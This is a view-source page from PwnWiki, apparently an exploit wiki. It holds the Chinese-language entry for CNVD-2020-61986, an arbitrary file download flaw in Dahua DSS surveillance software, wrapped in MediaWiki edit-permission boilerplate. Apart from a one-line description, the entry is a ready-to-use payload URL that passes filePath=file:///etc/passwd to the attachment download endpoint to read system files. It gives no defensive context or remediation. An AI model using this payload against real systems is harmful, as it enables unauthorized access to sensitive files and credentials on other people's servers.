View source for CNVD-2020-61986 大華DSS系統任意文件下載漏洞/zh-cn

From PwnWiki

← CNVD-2020-61986 大華DSS系統任意文件下載漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page CNVD-2020-61986 大華DSS系統任意文件下載漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==漏洞简介==

浙江大华技术股份有限公司DSS存在任意文件下载漏洞，攻击者可利用该漏洞登录界面下载任意文件获取敏感信息。


==Payload==
<pre>
http://ip/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
</pre>

Return to CNVD-2020-61986 大華DSS系統任意文件下載漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=CNVD-2020-61986_大華DSS系統任意文件下載漏洞/zh-cn"